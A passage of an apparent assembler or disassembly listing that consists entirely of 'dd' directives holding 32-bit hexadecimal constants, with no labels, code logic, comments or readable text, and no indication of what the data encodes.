3E182392h dd 4BD37084h, 46AE9168h, 0B186416Fh, 0B72D2B17h, 6DB15F66h dd 6054CDB5h, 0B989FDADh, 2523AC2Fh, 0C7B762F5h, 601C44ACh dd 2CEAF47h, 0B6773258h, 0E474F919h, 574C2710h, 0FC644522h dd 9AA0191Ah, 51AA9BB8h, 2CCE1816h, 25CDCFAFh, 0D22BF068h dd 18D123B1h, 66099C18h, 0F009C1E7h, 0CF3D4A4Dh, 4F6E4AD5h dd 7E8A1371h, 4932092Ch, 7B8D7378h, 26E61F61h, 11DEBF8h dd 17CBDA5h, 2E2059B5h, 27C80766h, 3D99AF25h, 85C14160h dd 61119239h, 6A5BE3B7h, 817B3EA1h, 0E026F4D6h, 2B2BCCDEh dd 0EFC04EE4h, 25EA3ABFh, 0C56556EEh, 0A9496611h, 0DB5A1553h dd 0C16B805Dh, 259D29A5h, 0C4651A55h, 47514DA7h, 4BAB4038h dd 0FFE6F680h, 0A20E14Ah, 305D029h, 4217614h, 799FA194h dd 0C3479359h, 0BEEE6EFBh, 0B02109Dh, 29959D09h, 46A0510Ch dd 92813FBFh, 9E282BF9h, 0DB21D379h, 0C8D58188h, 40C660CCh dd 8026C119h, 29498D0Bh, 626125EDh, 5CF95792h, 93B1F512h dd 62B8B369h, 88CEDF12h, 0C07F4B88h, 2BF0EA46h, 5362385Ah dd 430198Eh, 7CA25Bh, 0BE217022h, 7DE95150h, 1C2600C3h dd 0DE0BC045h, 0B7254385h, 72B0695Fh, 5FBEF315h, 1D23276Bh dd 0F5A18700h, 96A6CD7h, 65DE6B3Dh, 0B7A59159h, 0F3073D06h dd 0E3A24008h, 5BD35250h, 0E2048989h, 2DC91F6h, 0F569FD4Fh dd 0ED5B4B0Fh, 0A7F035D1h, 0BF97C6Dh, 0C122344Ch, 0B7004AC4h dd 0E3B8A8BDh, 243FAh, 0BB6E1DD3h, 0D2DBAF68h, 63813439h dd 0BDCDD8D2h, 88B87BF9h, 41AFAB4Bh, 557E652Ch, 0F151EC71h dd 99D13E00h, 3F0482CCh, 616605BEh, 81F022BDh, 42BFD43h dd 7C89DA9h, 87B9AE80h, 488CF701h, 9F5E3B39h, 795F801Ah dd 4F02A8Eh, 0B31B91EBh, 0BBE3C0D8h, 670A1747h, 43A58D89h dd 7301DF0Bh, 0F3EFD168h, 0B3E99193h, 0E4562B33h, 0A1A0E9E7h dd 2027214h, 0D577E76Ch, 0BDF360D1h, 95A79A19h, 4AAD4C4Ch dd 2310A7E7h, 976BC24Ch, 0CE43E37Ch, 0DC1CB8F0h, 0E3B7002Dh dd 0AA785AEBh, 3097E989h, 8902813Fh, 1C12A56h, 0B567300Dh dd 268F03B0h, 7CC1894Eh, 2D2F3149h, 0E2C662A0h, 0A5BD301Ah dd 0B257D04h, 47C5094Dh, 0F4BFBFD0h, 3A0325CEh, 78102FC3h dd 96012A7Dh, 0D0BB6650h, 6176DA44h, 9F0F6625h, 54704h dd 0D179B668h, 1898EFh, 0F29B4BBBh, 0BF310F67h, 0D6C8AC09h dd 0B7C85D5Eh, 4D3F8A49h, 1D9D8910h, 681A7119h, 4E0CD6A0h dd 0C489DEFEh, 92579E2Bh, 1A80F350h, 7413615Eh, 0D1836EDh dd 95BFE2Dh, 70B25B44h, 110508AAh, 525CD4E8h, 0DB44EDA8h dd 3FADB65Bh, 4F198BCBh, 7080939Ah, 96ABA673h, 312E3902h dd 51F45BDh, 0C358DB61h, 0F4EB5738h, 8D5CB780h, 0C9479519h dd 1BB5AFh, 59572685h, 0FA09D101h, 590B3A39h, 0E95B4597h dd 0B6F2ECA8h, 0E8184030h, 72030825h, 874610EEh, 304AFF04h dd 5B43F4h, 26FEE6E7h, 1278355Ah, 0E351458Fh, 964CAE8Ah dd 5B3F87C0h, 0B4019B3Eh, 0DBC189B2h, 88383419h, 6902520h dd 3A17B125h, 38A15606h, 901D0425h, 0F801991h, 3C36D145h dd 0B7248FB8h, 0CF5809FAh, 303D9503h, 5014C513h, 0AEC95A3Eh dd 0E509D29Dh, 1990004Eh, 66A5F7B6h, 0C7813D94h, 356B9D09h dd 0ECAFF859h, 0F80C4583h, 0D1008293h, 20FB675h, 4A3A94A7h dd 0A33CC1D8h, 8BA93438h, 2846D6F5h, 60024D7Eh, 0F62C2BE2h dd 4A8F635Fh, 0B09AE79Fh, 498460Bh, 1893C5BFh, 0D66DB81Ch dd 330D4704h, 1A782DAAh, 5948C0E6h, 4BA136ECh, 514D8C16h dd 2C80ABB1h, 1CFBE3C7h, 0F9C30008h, 0BB2A5B1Bh, 747682DCh dd 2C5D1E97h, 42B28F0Fh, 5F5C5F50h, 61357F25h, 0F1881181h dd 80414637h, 892A2251h, 0B8E22D51h, 2DBB00E1h, 0BF56F02Ch dd 2600A711h, 0DB815B59h, 4B3595C9h, 9D87981Ch, 0AF160924h dd 0E3AC9944h, 0A991C54Ah, 0BD01ED05h, 0AC3841BDh, 0A1B58981h dd 426F2E29h, 0FF0B1523h, 0D9286223h, 7E90A7C5h, 0E5004939h dd 0F598E6A9h, 7517C968h, 0E8F2001Ah, 5750C0BFh, 614B6051h dd 0AB342508h, 4BFC586Ch, 0DFC58CDFh, 6E6A6FF7h, 470F1723h dd 54B2AC26h, 97EAECEBh, 8349AB1Ah, 0A906410Ah, 88382E07h dd 0F654D334h, 0F3E5F122h, 546BB874h, 27239165h, 0B489799Dh dd 55523F74h, 21AA0E3Bh, 0E29230E6h, 83E06CADh, 4FDFAD62h dd 710E3663h, 61FC6F97h, 2E53B3F2h, 6EF68E34h, 0ED592E0h dd 0A78AD84Bh, 6B297F34h, 0F5E0B50h, 0AFE6F183h, 0F6BB4318h dd 52749E12h, 0F6D6DEA9h, 0B226A013h, 0E2470413h, 0B88CD780h dd 966E4AE2h, 5D08C604h, 9224FC7Eh, 0E6D6DEB2h, 0F73AE0D6h dd 0F1E0007Fh, 5FB5111Fh dd 6498F9EDh, 250D8120h, 55832E9h, 0C40EB725h, 0A96321F9h dd 0E7E6E48h, 100337A4h, 6FD1BCE0h, 0BF050F50h, 852951F8h dd 0F95FC3B4h, 75EA226Bh, 5F6CD9Ah, 1466A04Fh, 4F82D9h dd 31709236h, 17CD1675h, 0B5D32ADDh, 0B8BBB1B5h, 0B80FBCAFh dd 0B805D584h, 836E9786h, 98331100h, 0E7EE73B8h, 7763D91Fh dd 5FDA8A06h, 90DF24D4h, 7FA507FFh, 83458550h, 0B6DD4BB3h dd 0F2E2E093h, 0FDEA00BFh, 81A5EC56h, 9B1B69CFh, 0C0526C3Ch dd 3C2347D7h, 6F5B0DE1h, 0C63A0474h, 0B6EBF998h, 301CA255h dd 1E00D8C1h, 0EDFB724Fh, 9BFB7B6h, 62222339h, 54A1AC73h dd 6B181751h, 39ED6416h, 0D1FF5DC1h, 0EEF0DC26h, 3902D258h dd 23D380A2h, 51BC5CF8h, 0F9E2AB9h, 458090C0h, 6A4A482Ch dd 83BD88h, 397B64A9h, 20717DD9h, 3D007975h, 38B3FB58h dd 15328312h, 91026A60h, 5F4CC4BCh, 38BF0047h, 903515AEh dd 12F84E8Ah, 1EB296h, 6BE22074h, 12F6DD5h, 40BC1E47h dd 20944956h, 0BB0F3165h, 0D33866D4h, 8B51A780h, 1D5B5DF8h dd 0E0A7A697h, 7F491559h, 3BCB0469h, 0C06E93F5h, 70604036h dd 77E96D12h, 0BF84F9E3h, 53E6EBBCh, 5A4984F0h, 5BC049Fh dd 41C067DEh, 9F03D4EDh, 5826ABE0h, 0A10863A9h, 7DE42F22h dd 0C49AB70Eh, 88C2058h, 3CDAC3D3h, 0A9EF6DFh, 1110456h dd 0D232BC59h, 25CD7C04h, 9D244112h, 0C7605097h, 0C291D6F3h dd 8F227261h, 0A4904BD1h, 0F3BA0C71h, 0E1AE28CBh, 6712F3F8h dd 4AF10997h, 0ECC5E93Ah, 0D578004Bh, 7F1994DCh, 8D758952h dd 0ADB3034Ah, 0A58FFB92h, 0BC7E70C9h, 0A5165908h, 661253C4h dd 911EA4BFh, 0B02E90E8h, 2912698Eh, 88014952h, 5A83B84Ch dd 21F9622Eh, 9D1DA528h, 646F8EE5h, 5C580481h, 613898F8h dd 8F507DB0h, 7000E664h, 0E4A5DF80h, 5D958971h, 0D24AD325h dd 0BF20F2DAh, 4B2E74B4h, 89DF8042h, 0D929585h, 56E29295h dd 63A9A5DEh, 99C7B681h, 0E0102E74h, 14A9C0E0h, 12FE583Ah dd 0E10CDEA0h, 0CE3CBEE7h, 5A959792h, 0D88F9547h, 46A2B5D2h dd 0EB065C0Eh, 9FE9C390h, 0D234DE57h, 0AC99FE09h, 65C9BDF0h dd 0B853D0Dh, 6FC8E843h, 0D30538DAh, 9D5369F3h, 5B25BBA8h dd 0BD33EFC0h, 0B88C5955h, 0F77C6112h, 5C2E5D17h, 0BF04A1E3h dd 0B5BA80F2h, 36177E51h, 6D8DE4A4h, 2B6503FFh, 203DD922h dd 2BA9BD23h, 18A56FCAh, 0C54AFE19h, 80E88F52h, 0F925FB39h dd 787100A5h, 4BC5078Bh, 7416168Ah, 1CC455D7h, 3B7A8C10h dd 559DA756h, 0B95F8F04h, 3E5B84E4h, 0A110B710h, 1732581Bh dd 5B273331h, 0C1B8FAE4h, 21C901CEh, 0E7B9C5E0h, 0D3819BC1h dd 1C1504Dh, 6FA7162Eh, 92C80015h, 64EF0EA2h, 0D7014C31h dd 24BAB340h, 8CFC70h, 2D3AF5CCh, 7D9BC02Bh, 0A69278h dd 0A2A99914h, 8BE15873h, 0BA4A11B7h, 5EDB2AA5h, 0A01186D0h dd 821899BAh, 0BF78A556h, 0B409171Fh, 8019DB7Bh, 403A6CC7h dd 125E98E4h, 0E6222DB5h, 57602782h, 1DC26618h, 4B565709h dd 0B56CE661h, 0D50005B7h, 0CD9E0871h, 0A340278Fh, 2A0DD741h dd 122F8FDDh, 0B08CB220h, 4FF18531h, 89AC9126h, 0CBB81005h dd 299B2490h, 0D2F102C6h, 9C5C61F6h, 5BC27751h, 0B913D05Eh dd 845CB239h, 99B80E75h, 28898C81h, 25BA8513h, 82C9DE5Eh dd 5C15111Bh, 0C453E5ABh, 9FB2BABFh, 0E13E0996h, 0DC6D54h dd 0D9901ED3h, 5E70F916h, 2EFEAEA1h, 8AA3AD28h, 6F375Dh dd 42C61495h, 9B5FEEDFh, 0A5EDC408h, 8811C465h, 0D555F04Bh dd 0DA400541h, 0A0614C5Ah, 4BE3C3D9h, 22D28AC8h, 43CE9E34h dd 0F3D8AB4Ch, 9E001FF8h, 0E8DF6CDAh, 24353CA2h, 0DE9660CAh dd 4936569Dh, 0DE5658C2h, 0F94E9C28h, 0DDAC60C4h, 80709B4Fh dd 0DA5F2C62h, 24FBB073h, 91D89D7h, 485405EDh, 6EC071C7h dd 77E494D9h, 0B26B1976h, 2EF89226h, 0BC22CE5Eh, 0A102DCC7h dd 0E779765Ch, 0F397483Ah, 742AF311h, 0A36ABBDCh, 49E651Ch dd 814A3F70h, 420A5F6h, 0BFC0F1ACh, 34225F0Dh, 0FE4EF890h dd 0DF818401h, 0FD50256h, 856CDE2Ah, 848C3DFFh, 9EA20082h dd 399209E7h, 0C8020AE2h, 8529F53Bh, 2101E154h, 685B00DAh dd 0BF0880A1h, 8011E94Bh, 90560913h, 0E001CC1h, 312B801h dd 1229E37Dh, 0E045DE4Bh, 833C5ED0h, 85BB82A0h, 5C13EFABh dd 4012C498h, 6701972Fh, 866B00C5h, 0F6F1607h, 0EB1DB7A5h dd 1D92D75Eh, 6456A3E3h, 0E36502F0h, 89C4D100h, 12E7ADBFh dd 0F3E9170Ch, 40B8E701h, 4D9AF1D2h, 1829895h, 0D7115BB5h dd 0DF1804ACh, 0EB6B809Ah, 86020C2h, 2E0DB1B9h, 0F76B7A25h dd 0C9DD9A78h, 0F75C0161h, 61E3F24Eh, 0E92D3348h, 5F5BEF09h dd 19514CA1h, 9A0FD718h, 9213ECE4h, 0FA781B30h, 0BF0000Ah dd 0A192C12Eh, 0C53B8E9Ah, 66CE001Ch, 5FE260BBh, 893027B3h dd 0CAE037EDh, 0BE450B3Dh, 0B7B040C7h, 2D00798Ch, 41340172h dd 0A130148Fh, 65159596h, 0D7DC0FD1h, 8570BA09h, 38DC5196h dd 53855037h, 4B3B660h, 0F1F69B0h, 0DBBFA061h, 0BC57304Fh dd 78002B81h, 90009296h, 2BB304Dh, 5A0F789Bh, 92B4A2BFh dd 1D23AA2Eh, 534AC700h, 648DF4h, 42D090DFh, 8268D88Ah dd 622B5D0Fh, 0D347928Bh, 294F5E7Dh, 75B44260h, 9AFA588h dd 0E8733145h, 52181C79h, 2695BD07h, 8A8001E7h, 5E9D337Ah dd 0E5E7C82Dh, 25901840h, 10F5F9B7h, 0D43523h, 0A23E5EBh dd 0EF3E478Fh, 600705F2h, 0FE6E1634h, 85020E14h, 0C20E20A1h dd 5C2CF1B5h, 61F8E2D3h, 0AA70FBD3h, 0F82B01BEh, 1644C267h dd 0AD5CC27Eh, 604ECD7Ah, 7D8BDE19h, 9F683B01h, 75BD295Fh dd 0A261126Bh, 7F3789A8h, 0D1401ECFh, 267D38Ch, 0B963DB7h dd 0DE729D89h, 1A40FE92h, 221E4FE9h, 1DD5DE31h, 676D256h dd 45CB05D4h, 0F9798D29h, 0ABBB38CAh, 0EA582781h, 0BF510011h dd 17E683D7h, 66B5565Fh, 0C3899DE1h, 0E146C559h, 0EB419769h dd 35FF4F10h, 0FA627CEh, 105587E0h, 4688475Fh, 565E0108h dd 0FA368CFh, 10826680h, 5F252149h, 57091A46h, 0C13D9D23h dd 352E5B8Ch, 6547C8B5h, 9DFDDB00h, 0B39B1B39h, 96211458h dd 0EF25AD27h, 8D043073h, 76190415h, 3A57DA05h, 25FC5636h dd 7C2C92F7h, 430EDC89h, 0AA11A559h, 0B6805610h, 72CB3606h dd 0B45C003Fh, 0EEF6BDCDh, 884ADF4Ch, 0C7123EB7h, 4A48A8FBh dd 0C6A9C4C4h, 754C4ABCh, 0F6FB34BAh, 0F9F4FCC9h, 7490AA5Bh dd 0E402F6A2h, 0D3808478h, 0D960C18Fh, 0CD4AD628h, 64A36CEDh dd 0DDB8FB06h, 1DBB20D7h, 190E1AB3h, 0A2B4C3D5h, 75A97B74h dd 2EFAED31h, 0C9F6E712h, 0BD03C6E0h, 82064558h, 5C0AD185h dd 6235CBE9h, 0BC3EC280h, 0B56314E0h, 0CD9F4C4Eh, 0AA8444F6h dd 0DFDD3A20h, 51820013h, 0F64D264Bh, 0D6F0B6FEh, 84FF1A97h dd 24AFFDE2h, 0E014E6D3h, 50E3623h, 7DF4033Bh, 0F5E404BEh dd 0BCE3AD12h, 71008C1Dh, 0B04F2CF2h, 252470FFh, 0A9736D38h dd 6BE38917h, 6041013Dh, 65111780h, 8A1454E3h, 309648FDh dd 0D31788DFh, 0C789C000h, 0DDCE1A36h, 0E6344A65h, 3017B278h dd 2E257378h, 0DFA0DF99h, 699C11D4h, 0DCB05600h, 0D8085B61h dd 37A50B8Fh, 0E3A8951Ah, 0E25F929Fh, 0A53688FCh, 883B4D10h dd 0B2DCCB00h, 9B441D41h, 0B552396Ah, 0F054A601h, 2F96D355h dd 508FEFE8h, 0A0D88BC7h, 0DDBF6631h, 68F0994Fh, 962F14B3h dd 392EA551h, 0AD5F9654h dd 8C1AAC44h, 2CB26901h, 8CA2180Fh, 97F92830h, 35D71DBAh dd 7BF501B3h, 0F86B9348h, 0CD950795h, 601B64B3h, 1F96CD2Fh dd 0C911AC9Bh, 339853CBh, 0CF0F358Bh, 81F698D1h, 7C4C45E0h dd 1DB7043Fh, 0F159270Dh, 19DD0869h, 111E7349h, 75C44F30h dd 9D2F2ACh, 9461A12Fh, 717A6FC6h, 89B48809h, 0C068CF71h dd 0ADE9F804h, 0BB00A6B8h, 3FA362F4h, 79A8C18Bh, 0CF7C97CDh dd 0E379EA01h, 529F4505h, 9B4332Eh, 0C150ADB2h, 79BD2912h dd 0B39040C0h, 2F669DFFh, 34DAD61Ch, 0E49D3602h, 0DCFF7690h dd 0DD86602h, 0C096EB4Fh, 956AD909h, 9D807EB7h, 0BDC2367Fh dd 6AFC2705h, 1C2B777h, 0C78002FEh, 407FD1F7h, 52CCA58Fh dd 0E4E6064Ah, 2E3A22E1h, 0E49BFE13h, 0C115AC92h, 9029DF80h dd 732D603Ah, 7D4BE2CFh, 8BED6130h, 0ABD700DAh, 0E86AA911h dd 5C0F4687h, 412CDC8Dh, 90C83AA4h, 2A26E3Ah, 79E0778Ch dd 0D4C3E231h, 0BDB7AF47h, 0A0763D8Fh, 8C126F7h, 0E225AD2Ch dd 275E39B1h, 40656DE9h, 0ADFB3214h, 0DC215E02h, 5F1BCCA0h dd 0D9019F99h, 2E457561h, 0A66B2F74h, 0D5BECC06h, 71206242h dd 85290828h, 0FF09332Dh, 0D3E08FD1h, 1AB8B0C4h, 4A19A8A4h dd 0EF134F6h, 58FD2FA4h, 26AFA82h, 0DCFB74h, 7D3EE50Ch dd 0FEE0B30h, 0DF672A2Ch, 71595F02h, 0D2DA5F20h, 0FBB1DB16h dd 7AFAFF24h, 95762ECDh, 4ADB3C60h, 0F773006Fh, 29D59F3Eh dd 0E9EAFF25h, 0F08EB74Bh, 61CCAF10h, 7A6FCF94h, 30016E3Eh dd 4CEB4245h, 0B018971Ch, 420E28BBh, 37501BB9h, 262986B1h dd 1F020CBCh, 9614E582h, 0FF34C0BFh, 9531C56h, 6884A78Dh dd 94B8B95Bh, 2FDD12D3h, 0E69795E3h, 5C54A026h, 1E9E1CBBh dd 0E773A5F5h, 50D85BADh, 350080A0h, 0C7F1B836h, 4F6A5D6Eh dd 6B6EFFh, 0DB7AF828h, 4FDD9E18h, 0B525AB75h, 0EE52881h dd 0DE8BF6DAh, 942BCA01h, 0A46258DEh, 0B2E149F8h, 0B22C5A9Ah dd 95229C8Ah, 29083AECh, 272B7195h, 107A057h, 0FC951B0h dd 2497DC9Eh, 0B0DAF604h, 8B975ED5h, 3F0FC00Eh, 70E60F2Ch dd 4CE971E4h, 0C94A067Ah, 0BB09E0E6h, 0E15C1F2Dh, 4252BF61h dd 3D7F1E06h, 12FC2897h, 5AA67000h, 97394AB5h, 0BD01FA01h dd 63AFA55Dh, 142DC1F4h, 8041ED3Bh, 0E5879DEBh, 0E4C200C7h dd 0B16FB8D4h, 8B00726Bh, 45D381D1h, 74587174h, 8555A0E9h dd 8B62B903h, 0CEF98BDEh, 4DBD2304h, 481CBE0h, 71832FCBh dd 1EFBB873h, 255B6DBBh, 10FC7FAh, 3DB25FA5h, 0DFA482Eh dd 0E9DE8B82h, 0BD07853Ah, 0F8B7EA12h, 0C512BF48h, 88D4B917h dd 0DE8A891Fh, 0E542F771h, 95890219h, 0C1BB5B84h, 2E3F1569h dd 4E42DD60h, 0D0719B52h, 895A0FE5h, 882102B2h, 2FC46016h dd 6DE059B6h, 1D7FAC47h, 4B36FF49h, 2BFD1D95h, 64FCCCE8h dd 0D8771402h, 0C0600F84h, 0A945BD41h, 58FAB9E6h, 3037B59Fh dd 7ACF9801h, 0BC43F1D8h, 80574B5Dh, 1BDB8062h, 0D1122AE9h dd 0DC8114BCh, 0F84D5D51h, 6048C02Bh, 2D94624Ah, 0BC610427h dd 86659323h, 6DABADC4h, 0EF9A3FAEh, 0A2D0AC93h, 0B92740F5h dd 0CF80800Eh, 0BC8374Bh, 28C310Fh, 2FFB8B0Dh, 1D23056Bh dd 86857300h, 9820309h, 67BC13E1h, 0F4E9AD5Ch, 0EC01D403h dd 7F36129Dh, 0FB1005E8h, 3B12B04Bh, 16F2095Dh, 2FE55B25h dd 0DCFBFE69h, 0B6C2D902h, 0FD5EA07Eh, 1612F824h, 560DB05Ah dd 48C525C4h, 0DEAB8913h, 9498809Eh, 0BE608F55h, 61F2096Ch dd 10253302h, 0ED8D0120h, 4AB29719h, 8C4085DCh, 0D7F44Dh dd 6191B1D5h, 0FC297AF6h, 0C5BEBC09h, 0AD59794Ch, 0C61896F0h dd 91E83F54h, 0FF67C408h, 0CFAE9BE1h, 8994E0FDh, 1CBF0FA3h dd 4938BBD8h, 5A794BDDh, 6BC6544h, 92BC6949h, 3BE3BEC2h dd 51525EBFh, 41B81452h, 0EAB3FFA7h, 76C0639Bh, 37780D23h dd 7D25770Bh, 0DDAD60A5h, 427B59D5h, 3EB76025h, 0C25EC20Bh dd 26565C19h, 590B60ABh, 294AC55Dh, 412038F5h, 55749D85h dd 7A61F909h, 0F84A4427h, 3501BA97h, 0B37293B2h, 85890928h dd 0C2EDAE25h, 5E08219Dh, 3F87E808h, 7B51520Bh, 412528D0h dd 685808EFh, 0E2BF483h, 6A9B91D6h, 0ED6F7Fh, 9CE86986h dd 144FB496h, 0A0A9C828h, 8968DA00h, 503218C6h, 0D6F8BF02h dd 565B6AAEh, 0C576071Eh, 0EE6DE907h, 1EF40EC0h, 0A5CA02F3h dd 5526E344h, 3312CFECh, 83A10DBDh, 0C873DA7Eh, 2D74C01Ch dd 0D409613Fh, 8E77E67h, 7B27C4E6h, 0D0FEF1EAh, 0A8007431h dd 0B7427F89h, 0B202E987h, 0DC439613h, 5A685009h, 1064D767h dd 8D895304h, 0E3520DE5h, 1F3F494Bh, 0A347AC8h, 616DC2EAh dd 7D27515Eh, 0E305E93Dh, 71F8EA6Ah, 0DB5B2B2Dh, 70FA8A8Ch dd 776C25DBh, 0AF9C3CEEh, 2B2902D4h, 5AF1356Dh, 0E4284D5h dd 0BCDE312h, 92C1BD03h, 6BDF6h, 96802BE6h, 0D012F570h dd 21F26FF1h, 52D5A384h, 0BB00706Fh, 0DA72BC90h, 3030A108h dd 82C7588Fh, 2FE89244h, 0A0093969h, 2897337h, 0B01679E3h dd 6838C854h, 0D6CC110Bh, 0F112643Bh, 1218B070h, 41358E4Ah dd 0C9CFEEDFh, 36206B3Bh, 1A20ADCh, 27551C16h, 6B8DF930h dd 0D1E6F899h, 0C801006Ch, 6B2DA878h, 0EFAFEE0Eh, 30EAE07Fh dd 729D1CDEh, 90D81202h, 97B4E850h, 0EA1C9D8Eh, 3D1EC0DEh dd 30722237h, 5E52502Eh, 0CA761F61h, 125B96C4h, 0B856310Fh dd 904D77F1h, 6DBC3Eh, 0F6B339C5h, 0B4CF52D4h, 0B7C4364Fh dd 6A5F358Ah, 18F3E17h, 0F1108ECFh, 6176615Fh, 8B1270F0h dd 1BE2D15Ah, 97EF49E2h, 0D691ACC0h, 40E935BFh, 0B9CDFD19h dd 240F21C4h, 8976ECC7h, 1C791359h, 0B23313D7h, 127848BDh dd 98B826A1h, 0F62B48E2h, 0E308128Fh, 43584D3h, 0D6B560FEh dd 0EC051869h, 0B222F7E7h, 15B2FDF6h, 0C4859D30h, 0F92FC5ACh dd 0D51580A9h, 263377h, 68A5A625h, 32B04C59h, 66B99F04h dd 0DBB890BAh, 8D0B60C1h, 540B6A51h, 79309857h, 34C005C8h dd 0AB5E28B6h, 593D9729h, 662643A8h, 0B500B71Ch, 8D3160E7h dd 60284FDDh, 0C3AD1EC2h, 0F7FB0C00h, 0C87D4656h, 176095E4h dd 0AC90C1CDh, 55101A97h, 7F51460h, 75E74182h, 6A61E752h dd 298C89B7h, 60A4F4B7h, 0BFDA2375h, 685E421Ch, 80EFC24Eh dd 2CC19C3h, 2F6F1536h, 6096D669h, 0E59D3151h, 85CBFAAh dd 5EB7DFA7h, 84297D89h, 74AE0F3Eh, 0F330BFE8h, 4BFD8529h dd 2AE69D0Eh, 0D082C39Bh, 6640C430h, 0DD831505h, 7FF27F80h dd 0E6124A10h, 48125BE9h, 7ABA7BD4h, 5F7B007Ch, 0A2830213h dd 4A11BF55h, 9993020h, 277B3A04h, 0B4FA9B86h, 5E4AB7E4h dd 0C83B1CF5h, 0BD0016B1h, 51569831h, 4CF2F7B7h, 0DF28E462h dd 20502DB7h, 33705573h, 742FEB47h, 0A8A4A91Dh, 7BF90063h dd 9598FBCh, 5D12BF6Ch, 46058C35h, 97BDB886h, 2F0616ECh dd 0A597BF66h, 8537BF42h, 7E1F9800h, 452A76Fh, 45BD335Fh dd 0B431BC11h, 1A56ABBh, 4B0675A1h, 0D82B4F5Dh, 0F5880C38h dd 4CAA1D0Dh, 8949405Bh, 59C912CEh, 43C2F94Ah, 56257D8h dd 7C6BB056h, 6C9659B8h, 5D07291Bh, 0A0B55D49h, 63AE3C01h dd 0CA2051A2h, 76989DB9h, 898005A1h, 30E12585h, 63C72379h dd 40AD4F0Bh, 11859448h, 9D012304h, 96072C49h, 0BA562B50h dd 8E7301DCh, 0E8493BFCh, 0B033100Eh, 0D08B00D3h, 3FE22CB7h dd 364868CCh, 0BD090B51h, 3263EAFDh, 1261D6A9h, 0D252BD1Bh dd 0EE701C07h, 18BD3D04h dd 0FC8C1DACh, 9B230084h, 0A435DE3Bh, 909319Eh, 7B059195h dd 8B6DAD08h, 0F9250BC1h, 4120282Fh, 62004F97h, 31FDD56Eh dd 60088013h, 0C91543B4h, 4E8D4BE8h, 0F56BE540h, 0B737C4C6h dd 0B031BCFBh, 16AAF781h, 49D33Bh, 8A86A187h, 274BE916h dd 0E7E03AC4h, 8B75126Ch, 4D6004C1h, 4EB0711h, 60B5014Eh dd 0B02883E9h, 5E9E0775h, 106EF3E1h, 817B03F1h, 4A0F8998h dd 0E0271592h, 53D0219Eh, 569600DFh, 6567EBD9h, 6B07FAE8h dd 7E06F471h, 0E0280112h, 5CEC12h, 4F2AB7D4h, 0F5F77DC4h dd 18655300h, 0E1A067E4h, 75AB0187h, 2BEA7A6Bh, 6EAE4681h dd 5E4CDD00h, 210FD616h, 0E7630050h, 0D7E11115h, 0C000AE34h dd 9AB3CB0h, 97551Bh, 5B91E2D0h, 293A28CAh, 3D11B300h dd 9ED9AF76h, 0BE260779h, 3159EA70h, 0E0F57B1Fh, 3E1ED266h dd 444082C5h, 30B06FDEh, 3BC13FEBh, 4B81D080h, 13C99684h dd 5A01717Ch, 6C60EFDDh, 8040DCCAh, 0B9C6B4h, 3A16020Ah dd 32B8913Dh, 0D5A29000h, 0A62CA0AFh, 9D860004h, 0A992104Ch dd 0AD00B458h, 0BCC4B22Fh, 1EBA7940h, 800D60CFh, 4BED7EE7h dd 0E967FF75h, 0FD5188B2h, 0E5F86D5Bh, 0CCCCA0F7h, 0D5E0347h dd 0EB3C25D1h, 4F9DAFD0h, 2979EF03h, 988A09D3h, 0F3B90F8h dd 8BD24B5h, 0F7577D80h, 1D315A30h, 0B98F5C3Fh, 500D00CFh dd 4EDF65CAh, 48B55C66h, 61B6A45Ah, 790AD0AAh, 40AB308Bh dd 0CC3F5270h, 9B8BD02Ah, 2736DE00h, 2BA1AFBEh, 26D6F289h dd 7007416h, 0A0D87A72h, 67134FA0h, 102D7E17h, 5743681Dh dd 60AB8148h, 0C44A404Ch, 0DBBE4B33h, 0F47DC080h, 0A6856F8h dd 0F2EA791Bh, 5C9080BDh, 0ACFDE6BAh, 80520848h, 86118E4Eh dd 0FCF0037Dh, 0DF986E35h, 412F9D09h, 9E458737h, 46450EE0h dd 0CEA9307Fh, 0E4BA4021h, 830F9360h, 0DCF95h, 0D95FE56Bh dd 675C2412h, 6D198B06h, 74A6326h, 17B93341h, 0F5E0091h dd 0C035A48h, 58DE1E68h, 108D98C7h, 3D4F9022h, 0F0A46FF5h dd 0DF9E0096h, 34327FB8h, 30C1BB00h, 0D62DECB3h, 99AC0063h dd 0AD9B2CF6h, 8AD525A7h, 85823E3Fh, 21EA2B48h, 0F6549E09h dd 0CE8D803Bh, 0DB97DF3Dh, 0C556090Ah, 9402823Ah, 0E35110CCh dd 2EF3F09Bh, 16B8123Eh, 0FCE30E28h, 4AEE3F80h, 420ABF3Dh dd 94D10B54h, 7002DE48h, 48ECDA7Ch, 0BE4478h, 0B39C8B2Dh dd 25D04562h, 0F14E88CFh, 0DDA4C302h, 0A3A07007h, 9987189Eh dd 5B4986C0h, 739DB11h, 0CC3F4B3h, 5212300Dh, 31051FC1h dd 1A08AA22h, 4F27780h, 0DB7D007Fh, 79F64730h, 0C648D4A3h dd 0BC420054h, 77C8B136h, 528A09D3h, 14204AD5h, 0D9DF7231h dd 3C5C2D00h, 0A7612636h, 35576E8h, 0D7AD4FE0h, 4800989Dh dd 0ED77652Ch, 9004F887h, 24B3E6BBh, 9202F96h, 4311AD57h dd 0E0832122h, 4172BBC7h, 2931909h, 0CB528414h, 8D4F3C80h dd 8F6518EBh, 0A026FBE8h, 7F6D0F00h, 0DB59FBF1h, 0FDA100F2h dd 86FE7B71h, 330CFAD2h, 8ABD3F45h, 0C1F1008Fh, 59DFB474h dd 6CC0C9B7h, 4E8ED6C4h, 3EA3E8ACh, 4F80D90Ah, 0E3711566h dd 340022E9h, 1D0BAD2Fh, 139953h, 49170582h, 0E355115Ah dd 786A0D00h, 26ACB7D8h, 18121267h, 747011Dh, 32E18379h dd 30AC0049h, 0F9F37B69h, 40D10F57h, 0A6205CC3h, 5A73512Fh dd 0F3E888A8h, 0DD414Ch, 9627A5B2h, 614BF9CFh, 0A463BED8h dd 0A0CE20C2h, 242D2502h, 629122A8h, 23D19883h, 0D89F045Dh dd 0C06399EAh, 0D99E74B6h, 3DAAE767h, 0BD842620h, 3BC098CFh dd 15CCCCBAh, 0ECE9309h, 0C58C0C00h, 4D2C8FD7h, 826115Fh dd 0E3C11D1Ch, 3EBB313Fh, 0C7D4EEFCh, 850F0BCh, 353B2905h dd 44B8AF00h, 0E08B1CA2h, 6B4D05F3h, 5A99CEA4h, 3C082DFh dd 0EA30C087h, 0FB81178Dh, 0F526325h, 50DAFDC4h, 0B238E02Fh dd 0C02C4B21h, 6ABBA413h, 0B414143Ch, 11517EDh, 34FB78FEh dd 77303846h, 53AD44DEh, 0BE5A401h, 3BB1C2A3h, 0F254E840h dd 0B243003Ch, 